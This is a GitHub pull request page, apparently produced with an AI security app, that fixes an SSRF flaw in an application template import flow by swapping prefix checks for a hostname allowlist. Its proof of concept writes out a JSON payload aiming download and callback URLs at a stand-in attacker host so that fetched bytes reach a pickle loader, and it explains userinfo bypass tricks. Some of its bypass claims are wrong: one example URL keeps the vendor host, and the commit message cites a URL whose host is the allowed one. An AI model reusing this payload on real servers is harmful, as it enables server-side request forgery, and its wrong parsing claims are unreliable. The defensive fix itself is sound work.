Skip to content

fix(application): prevent SSRF in template import URL allowlist (CWE-918)#6455

Open
sebastiondev wants to merge 1 commit into
1Panel-dev:v2from
sebastiondev:fix/cwe918-application-server-71aa
Open

fix(application): prevent SSRF in template import URL allowlist (CWE-918)#6455
sebastiondev wants to merge 1 commit into
1Panel-dev:v2from
sebastiondev:fix/cwe918-application-server-71aa

Conversation

@sebastiondev

Copy link
Copy Markdown
Contributor

What this PR does / why we need it?

Fixes an SSRF vulnerability (CWE-918) in the application template import flow. The existing check for trusted upstream URLs uses str.startswith("https://apps-assets.fit2cloud.com/") and str.startswith("https://apps.fit2cloud.com/"), which are bypassable: startswith on a prefix that ends inside the URL only matches a leading substring and does not enforce a host boundary. In particular, a URL of the form https://apps-assets.fit2cloud.com/../@attacker.example/x matches the prefix while urllib resolves the request target as attacker.example because of the embedded @ (userinfo) segment.

This is particularly serious in ApplicationOperateSerializer.install_app_template (apps/application/serializers/application.py:1513) because the fetched bytes are passed directly to restricted_loads(res.content) — a pickle load. Even with a "restricted" unpickler, feeding attacker-controlled pickle input to a whitelisted-class unpickler is a well-known escalation surface, and at minimum this SSRF lets an authenticated user pivot the server into making arbitrary outbound HTTPS requests (internal network scanning, cloud metadata endpoints on providers whose metadata service accepts HTTPS, exfiltration to attacker-controlled hosts, etc.).

Summary of your change

Introduced _validate_trusted_url(url, allowed_hosts) which:

  • Parses the URL with urllib.parse.urlparse instead of doing prefix string matching.
  • Requires scheme == "https".
  • Requires the parsed hostname to be an exact case-insensitive match against an allowlist set ({"apps-assets.fit2cloud.com"} for downloads, {"apps.fit2cloud.com"} for the callback).
  • Rejects URLs containing userinfo (user:pass@host) — this blocks the classic https://apps-assets.fit2cloud.com@attacker.tld/ bypass, because urlparse correctly reports hostname == "attacker.tld" but we additionally refuse any URL that carries credentials so the intent is unambiguous.
  • Rejects URLs with an explicit port to keep the outbound surface minimal.
  • Adds allow_redirects=False to the two requests.get calls so the allowlisted host cannot bounce the server to an internal target via a 302.

All four affected call sites are patched:

  • ApplicationSerializer.install_app_template (download URL + callback URL)
  • ApplicationOperateSerializer.install_app_template (download URL + callback URL — the one that feeds restricted_loads)

Diff is 37 additions / 8 deletions, one file.

Proof of concept

Before the patch, from an authenticated session with app-import permission, sending an install payload like:

{
  "work_flow_template": {
    "downloadUrl": "https://apps-assets.fit2cloud.com/../@attacker.example/malicious.mk",
    "downloadCallbackUrl": "https://apps.fit2cloud.com@attacker.example/cb"
  }
}

...passes the startswith gate. The server issues an HTTPS request whose effective host resolves to attacker.example, and in the ApplicationOperateSerializer path the response body is fed into restricted_loads. Verify the bypass primitive locally with the stdlib:

>>> "https://apps-assets.fit2cloud.com/../@attacker.example/x".startswith("https://apps-assets.fit2cloud.com/")
True
>>> from urllib.parse import urlparse
>>> urlparse("https://apps.fit2cloud.com@attacker.example/cb").hostname
'attacker.example'

After the patch, _validate_trusted_url rejects both because (a) userinfo is present or (b) the parsed hostname is not in the allowlist.

Function references in this PoC exist in the tree:

$ grep -n 'def install_app_template\|restricted_loads(' apps/application/serializers/application.py
778:        download_url = work_flow_template.get("downloadUrl")
868:            mk_instance = restricted_loads(mk_instance_bytes)
1513:        download_url = work_flow_template.get("downloadUrl")
1519:            mk_instance = restricted_loads(res.content)

Testing

Exercised the new validator against the following cases (all behave as expected):

Input Expected Result
https://apps-assets.fit2cloud.com/x.mk allow allow
https://APPS-ASSETS.FIT2CLOUD.COM/x.mk allow (case-insensitive host) allow
https://apps-assets.fit2cloud.com.attacker.tld/x deny deny
https://apps-assets.fit2cloud.com@attacker.tld/x deny (userinfo) deny
http://apps-assets.fit2cloud.com/x deny (scheme) deny
https://apps-assets.fit2cloud.com:8443/x deny (port) deny
https://attacker.tld/apps-assets.fit2cloud.com/ deny deny
file:///etc/passwd deny deny
"" / None / non-string deny deny

The callback allowlist was checked the same way against apps.fit2cloud.com. The legitimate happy path (https://apps-assets.fit2cloud.com/... served by the vendor CDN) continues to work — the allowlist entry is exactly the host that appears elsewhere in the codebase (APPSTORE_URL default at line 1045).

Security analysis

  • Attacker model: any user authenticated at the level required to call the application-template install endpoints. This is a lower privilege bar than server admin, so it crosses a real trust boundary.
  • Impact without fix: authenticated SSRF to arbitrary HTTPS endpoints (internal services, cloud metadata over HTTPS, side-channel probing), and — via the ApplicationOperateSerializer path — attacker-controlled bytes reach a pickle-backed loader.
  • Impact with fix: the outbound host is pinned to the exact vendor hostnames, no redirects are followed, no credentialed URLs are honored, and only HTTPS is permitted.

Adversarial review

Before submitting we tried to disprove this. Candidate mitigations we checked and ruled out: (1) no upstream router-level allowlist or egress proxy filters requests inside the container image — the requests.get calls go out unfiltered; (2) restricted_loads is not a general defense against attacker-controlled pickle streams once it's reached, so treating the SSRF as "harmless because it's just a fetch" understates it; (3) the startswith check does not incidentally block userinfo/embedded-@ bypasses because the prefix ends inside the URL, not at a host boundary; (4) authentication is required but the endpoint is exposed to normal application-managing users, not only superusers, so the trust boundary is real.

Please indicate you've done the following:

  • Made sure tests are passing and test coverage is added if needed. (Validator behavior verified against the table above; no existing tests cover these code paths.)
  • Made sure commit message follows the rule of Conventional Commits specification.
  • Considered the docs impact — none; the vendor URL contract is unchanged.

Discovered by the Sebastion AI GitHub App.

…hes (CWE-918)

Replace startswith() checks on downloadUrl / downloadCallbackUrl with a
parsed-URL allowlist that requires https, an exact hostname match, and
rejects embedded userinfo/ports which could otherwise smuggle a
different origin (e.g. https://apps-assets.fit2cloud.com.attacker.tld/
or https://attacker.tld@apps-assets.fit2cloud.com/). Also disable HTTP
redirect following on the outbound requests.get() calls so a trusted
host cannot be used as an open redirector to internal targets.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant